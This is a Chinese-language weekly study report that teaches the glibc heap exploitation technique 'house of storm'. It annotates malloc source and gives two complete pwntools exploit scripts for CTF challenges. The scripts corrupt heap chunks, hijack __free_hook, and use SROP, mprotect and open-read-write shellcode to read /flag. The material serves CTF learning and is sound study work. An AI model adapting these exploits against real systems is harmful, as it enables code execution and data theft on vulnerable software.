首页 > 其他分享 >house of stom

house of stom

时间:2024-09-06 16:14:07浏览次数:9  
标签:p64 house free stom add 0x80 payload ly

完成事项

house of stom学习

未完成事项

wmctf的blineless没打通

如何解决未完成事项

下周待做事项

house of orange

house of lore

本周学习的知识分享

house of stom

条件:1.能控制unsorted的bk指针,还有largebin的fd_nextsize和bk_nextsize

码源分析

largebin attack:申请大chunk的时候,会先成unsortedbin中将空闲的chunk链入largebin中,如果我们能控制bk

unsorted链入largbin的流程

会遍历所有的unsortedbin然后把他链在largebin上面,会先把chunk脱链,chunk被链到largebin上之后,会回来把targechunk链入largebin中,但是会对targechun进行检查

//house of stom:直接取出,要在这块伪造的chunk的fd上面填一个合法的地址
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

但是targechunkd的fd指针要合法

相关码源阅读

  else
            {
              victim_index = largebin_index (size);//计算size在largebin的下标
              bck = bin_at (av, victim_index);//根据下标,计算得到堆列表的头指针
              fwd = bck->fd;//fwd是bin里面的最大堆块
                
              /* maintain large bins in sorted order */
               //fwd==bck的话说明largebin现在没有空闲chunk,如果是空闲直接插入
              if (fwd != bck)//
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  //如果申请的chunk小于第一块最小chunk的大小,那就直接插入最小chunk的尾部
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      //入链操作
                      fwd = bck;
                      bck = bck->bk;
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      //遍历fd_nextsize有序链表上的所有chunk
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }
                      //找到范围内的chunk,如果相等直接入链
                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      //不相等,但是小于上一块chunk,入链有序链
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;//可以把targechunk-8的地址伪造在此处,第一块chunk入largebin之后,targechunk->fd
                           //就可以被写入一个合法的地址
 
          bck->fd = victim;

开了pie的堆块,高字节是0x55或者0x56,如果是小端序的话,刚好指向size然后-5可以让高字节的0x56填在此处伪造chunk

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;//
//加入了条件fwd->bk_nextsize->fd_nextsize == fwd
//(targechunk-5-0x18)+0x18+0x10==targechunk-5-0x18



//victim->bk_nextsize=targechunk-0x18-5
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//(targechunk-0x18-5)->fd_nextsize=victim

伪造的结构

这样我们就可以把targechunk成功链在largebin上面了

0ctf2018_heapstorm

漏洞分析

mmap开辟了一块空间存储size和堆块指针,但是所有的size和堆块指针都会被与mmap的地址进行异或操作,mmap的地址是固定的,就相当于告诉了我们key

edit函数strcpy存在offbynull漏洞,但是他在每个chunk的末尾都加了字符串,也就是我们没办法直接的覆盖prevsize。

#没办法控制prevsize
add(0x28)#0
add(0xaa0)#1
add(0x80)#2 
add(0x80)#3
edit(1,0xa00-0x8,b'a'*(0xa00-0x10)+p64(0xa00))
free(1)
edit(0,0x28-0xc,b'a'*(0x28-0xc))#将size位的0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6  
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)#触发unlink,完成堆块的堆

0xb41中就是chunk1,4,5,6的chunk,我们可以通过修改0xb41的chunk来修改其他的chunk

offbynull构造堆重叠,然后再把两块大chunk先后释放,一块在unsortedbin和一块在largebin

payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)#将mmap_addr的地址挂在bk上,chunk4被挂入largebin之后,会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin
payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)

在通过构造的堆重叠进行修改unsortedbin的bk指针和largebin的指针

0x13370800是申请的chunk,他的size位已被修改

接下来就是泄露地址,然后把freehook改成onegadget就行了

from pwn import *
libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')
ly=process("./0ctf_2018_heapstorm2")
#ly=remote("node4.buuoj.cn",27257)
elf = ELF("./0ctf_2018_heapstorm2")
#atoi_got = elf.got['atoi']
def add(size):
    ly.sendlineafter(b"Command:",b'1')
    ly.sendlineafter(b"Size:",str(size))
def edit(idx,size,content):
    ly.sendlineafter(b"Command:",b'2')
    ly.sendlineafter(b"Index:",str(idx))
    ly.sendlineafter(b"Size:",str(size))
    ly.sendafter(b"Content:",content)
def free(idx):
    ly.sendlineafter(b"Command:",b'3')
    ly.sendlineafter(b"Index:",str(idx))
def show(idx):
    ly.sendlineafter(b"Command:",b'4')
    ly.sendlineafter(b"Index:",str(idx))
def dbg(content=0):
    gdb.attach(ly,content)
    pause()
#没办法控制prevsize
add(0x28)#0
add(0xaa0)#1
add(0x80)#2 
add(0x80)#3
edit(1,0xa00-0x8,b'a'*(0xa00-0x10)+p64(0xa00))
free(1)
edit(0,0x28-0xc,b'a'*(0x28-0xc))#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6  
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
mmap_addr = 0x13370800-0x10
add(0xb30)#1  溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,len(payload),payload)
#dbg()
free(6)
add(0x500)#2
free(4)
#unsortbin
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(mmap_addr)#将mmap_addr的地址挂在bk上,chunk4被挂入largebin之后,会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin

payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(mmap_addr+8)
payload += p64(0)+p64(mmap_addr-0x18-5)
edit(1,len(payload),payload)

add(0x48)#4把mmap从largebin上申请下来
dbg()
payload = p64(0)*3+p64(0x13377331)+p64(mmap_addr+0x10)+p64(0x80)
edit(4,len(payload),payload)
show(0)
ly.recvuntil(": ")
ly.recv(0x60)
xor= u64(ly.recv(8))
main_arena = xor^ (mmap_addr+0x10)
libc_base = main_arena - 0x3c4b78
free_hook = libc_base +libc.sym['__free_hook']
print('free_hook----->',hex(free_hook))
one_gadget = libc_base + 0x4527a
print("one--->",hex(one_gadget))
payload = p64(0)*4+p64(free_hook)+p64(0x8)
edit(0,len(payload),payload)
edit(0,0x8,p64(one_gadget))
#dbg()
free(2)
ly.interactive()

rctf_2019_babyheap

漏洞分析

offbynull,没有限制堆大小,制造堆叠,然后控制unsortedbin和largebin

但是开了沙箱,把_free_hook的地址改成setcontext,然后进行利用这里堆rsp,rdi,rsi等寄存器进行利用,本来手打的payload,看其他师傅的wp是用srop,控制程序执行mproject,再读取shellcode进行orw(还是有收获的!)

先制造堆叠

add(0x28)#0
add(0xaa0)#1
add(0x80)#2 
add(0x80)#3
edit(1,b'a'*(0xa00-0x10)+p64(0xa00)+b'\n')
free(1)
edit(0,b'a'*0x28)#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6  
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
add(0x80)#1

show(4)
#0x7f8c6c252b78 (main_arena+88) 
ret=ly.recv()
libc.address=u64(ly.recv(6).ljust(8,b'\x00'))-0x3c4b61-0x17

这里的构造方法其实也跟上面的题目是一样的结构,但是上一道题目已经知道一个mmap的地址,这道题需要泄露基地址,其实也就是堆重叠,然后分割,用show功能泄露

然后接下来就是把__free_hook挂上unsortedbin的bk和largebin上,进行house of stom

add(0xb30)#1  溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,payload)
#这一步是调整一下size位置,以为在free后unlink会检查,也是调了很久,翻了很久码源
free(6)
add(0x500)#2
free(4)
#unsortbin
framechunk=free_hook-0x20
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(framechunk)#将mmap_addr的地址挂在bk上,chunk4被挂入largebin之后,会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin

payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(framechunk+8)
payload += p64(0)+p64(framechunk-0x18-5)
edit(1,payload)

再次malloc(0x56)就可以把__free_hook申请到

add(0x48)#4把__free_hook从largebin上申请下来
new_addr =  free_hook &0xFFFFFFFFFFFFF000
set_context=libc.sym['setcontext']
shellcode1 = '''
	xor rdi,rdi
	mov rsi,%d
	mov edx,0x1000

	mov eax,0
	syscall

	jmp rsi
''' % new_addr
edit(4,b'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
print("free-+++++++++++++++++----->",hex(free_hook))
print("new_addr-+++++++++++++++++----->",hex(new_addr))
#payload=0x98*b'a'+p64(free_hook+0x10)+
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(1, bytes(frame))
#dbg()
free(1)#
shellcode2 = '''
	mov rax, 0x67616c66 ;// /flag
	push rax

	mov rdi, rsp ;// /flag
	mov rsi, 0 ;// O_RDONLY
	xor rdx, rdx ;
	mov rax, 2 ;// SYS_open
	syscall

	mov rdi, rax ;// fd 
	mov rsi,rsp  ;
	mov rdx, 1024 ;// nbytes
	mov rax,0 ;// SYS_read
	syscall

	mov rdi, 1 ;// fd 
	mov rsi, rsp ;// buf
	mov rdx, rax ;// count 
	mov rax, 1 ;// SYS_write
	syscall

	mov rdi, 0 ;// error_code
	mov rax, 60
	syscall
	'''
ly.sendline(asm(shellcode2))
ly.interactive()

释放chunk1时,rdi指向chunk1,其实也就是我们布置的srop的地方

完整exp

from pwn import *
ly = process("./pwn")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc=ELF("/home/ly/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size):
	ly.sendlineafter(b"Choice: \n",b'1')
	ly.sendlineafter(b"Size: ",str(size))

def free(index):
	ly.sendlineafter(b"Choice: \n",b'3')
	ly.sendlineafter(b"Index: ",str(index))

def show(index):
	ly.sendlineafter(b"Choice: \n",'4')
	ly.sendlineafter(b"Index:",str(index))

def edit(index, content):
	ly.sendlineafter(b"Choice: \n",'2')
	ly.sendlineafter(b"Index: ",str(index))
	ly.sendafter(b"Content: ",content)
def dbg():
	gdb.attach(ly)
	pause()
add(0x28)#0
add(0xaa0)#1
add(0x80)#2 
add(0x80)#3
edit(1,b'a'*(0xa00-0x10)+p64(0xa00)+b'\n')
free(1)
edit(0,b'a'*0x28)#将0xab0改为0xa00
add(0x80)#1
add(0x420)#4
add(0x80)#5
add(0x410)#6  
add(0x80)#7
#将刚刚的0xa00大小的chunk
free(1)
free(2)
#完成堆重叠
add(0x80)#1
show(4)
#0x7f8c6c252b78 (main_arena+88) 
ret=ly.recv()
libc.address=u64(ly.recv(6).ljust(8,b'\x00'))-0x3c4b61-0x17
free_hook = libc.sym['__free_hook']
print(hex(free_hook))
free(1)
add(0xb30)#1  溢出块
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += b'a'*0x420+p64(0)+p64(0x91)
payload += b'a'*0x80+p64(0)+p64(0x421)
payload += b'a'*0x410+p64(0)+p64(0x90+0x90+0xb1)
edit(1,payload)

free(6)
add(0x500)#2
free(4)
#unsortbin
framechunk=free_hook-0x20
payload = b'a'*0x80+p64(0)+p64(0x431)
payload += p64(0)+p64(framechunk)#将mmap_addr的地址挂在bk上,chunk4被挂入largebin之后,会继续遍历unsortedbin上面是否还有存在bin可以挂入largebin中
#largebin

payload += b'a'*(0x420-0x10)
payload += p64(0)+p64(0x91)
payload += b'a'*0x80
payload += p64(0)+p64(0x421)  
payload += p64(0)+p64(framechunk+8)
payload += p64(0)+p64(framechunk-0x18-5)
edit(1,payload)
add(0x48)#4把mmap从largebin上申请下来
new_addr =  free_hook &0xFFFFFFFFFFFFF000
set_context=libc.sym['setcontext']
shellcode1 = '''
	xor rdi,rdi
	mov rsi,%d
	mov edx,0x1000

	mov eax,0
	syscall

	jmp rsi
''' % new_addr
edit(4,b'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))
print("free-+++++++++++++++++----->",hex(free_hook))
print("new_addr-+++++++++++++++++----->",hex(new_addr))
#payload=0x98*b'a'+p64(free_hook+0x10)+
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']
edit(1, bytes(frame))
dbg()
free(1)
#sleep(0.5)
shellcode2 = '''
	mov rax, 0x67616c66 ;// /flag
	push rax

	mov rdi, rsp ;// /flag
	mov rsi, 0 ;// O_RDONLY
	xor rdx, rdx ;
	mov rax, 2 ;// SYS_open
	syscall

	mov rdi, rax ;// fd 
	mov rsi,rsp  ;
	mov rdx, 1024 ;// nbytes
	mov rax,0 ;// SYS_read
	syscall

	mov rdi, 1 ;// fd 
	mov rsi, rsp ;// buf
	mov rdx, rax ;// count 
	mov rax, 1 ;// SYS_write
	syscall

	mov rdi, 0 ;// error_code
	mov rax, 60
	syscall
	'''
ly.sendline(asm(shellcode2))
ly.interactive()

本周自己学习过程中遇到的问题和疑问点

情感、思考、观点

中途几天在应急响应,最后两天hvv了,挺住!

翻了好久码源

在团队的感触和建议

标签:p64,house,free,stom,add,0x80,payload,ly
From: https://www.cnblogs.com/L1nyun/p/18400466

相关文章

  • 记录 macos 链接 win10 wsl2 ubuntu clickhouse 记录
    遇到了许多问题顺序应该不同首先就是链接的客户端是DBeaver链接的时候要选择版本低版本的用legacy,   驱动也很重要,下不到驱动的可以用网上找的驱动来安装  有的时候会有类名的问题但是报错很离谱会报  dbeaverclickhouse链接错误code:46Unknow......
  • 腾讯&浙大提出定制化视频生成框架CustomCrafter,只需通过少量图像就可以完成高质量视频
    腾讯联合浙大提出了一种定制化视频生成框架-CustomCrafter,它能够基于文本提示和参考图像生成自定义视频,同时保留运动生成和概念组合的能力。通过设计一系列灵活的模块,使得模型实现了无需额外视频,通过少量图像学习,就能生成高质量的个性化视频。上图为CustomCrafter可视化结果。Cus......
  • clickhouse组件介绍
    写在前面今天学习clickhouse部分的知识。ClickHouseOLTP(联机事务处理系统)例如MySQL等关系型数据库,适用于小数据量时的快速查询和分析。OLTP主要针对增删改操作,数据经常发生变化。OLAP(联机分析处理系统)适用于数据长期不变且有大量历史数据的场景,主要进行分析操作,增......
  • WPF Customize Button ControlTemplate TextBlock
    //xaml<UserControlx:Class="WpfApp332.BtnTbk"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:mc="......
  • OpenAI Gym custom environment: Discrete observation space with real values
    题意:OpenAIGym自定义环境:具有实数值的离散观测空间问题背景:Iwouldliketocreatecustomopenaigymenvironmentthathasdiscretestatespace,butwithfloatvalues.Tobemoreprecise,itshouldbearangeofvalueswith0.25step:10.0,10.25,10.5,10......
  • wxmsw311u_qa_vc_custom.dll加载故障:快速修复应用程序核心问题的实战手册
    wxmsw311u_qa_vc_custom.dll加载故障应该如何解决?要想解决wxmsw311u_qa_vc_custom.dll加载故障的问题,可以按照以下步骤尝试修复:1.重新安装相关软件:此dll文件属于某些Windows应用的组件,首先尝试卸载并重新安装可能导致问题的软件。这通常能自动替换损坏或丢失的dll文件。2.......
  • 使用 Quickwit 的搜索流功能为 ClickHouse 添加全文搜索
    本指南将帮助您使用Quickwit的搜索流功能为知名的OLAP数据库ClickHouse添加全文搜索。Quickwit暴露了一个REST端点,可以极快地(每秒最多5000万条)流式传输匹配搜索查询的ID或其他属性,ClickHouse可以轻松地使用它们进行连接查询。我们将采用GitHub存档数据集,该数据......
  • clickhouse备份与恢复 - 使用官方命令
    在ClickHouse中可以通过以下步骤将数据备份到文件服务器上:编辑ClickHouse配置文件/etc/clickhouse-server/config.xml,在<backup_settings>部分添加以下内容:<remote_servers><b_server><host>b_server_ip_or_hostname</host><user>remote_......
  • Clickhouse备份与恢复
    一、安装clickhouse-backup1、下载安装包cd/server/tools/wgethttps://github.com/Altinity/clickhouse-backup/releases/download/v2.4.33/clickhouse-backup-linux-amd64.tar.gz2、创建存放clickhouse-backup的目录,并解压mkdir-pv/data/clickhouse-backuptarxvfcl......
  • 数据迁移新技能,MongoDB轻松同步至ClickHouse
    在当今数据驱动的世界中,企业的成功依赖于对数据的高效管理和精准分析。数据迁移是实现这些目标的关键环节,而选择合适的工具可以让这项工作变得更加轻松和高效。ETLCloud是一款创新的ETL(提取、转换、加载)工具,它提供了简单直观的界面和强大的功能,专门为现代数据集成挑战设计。它不......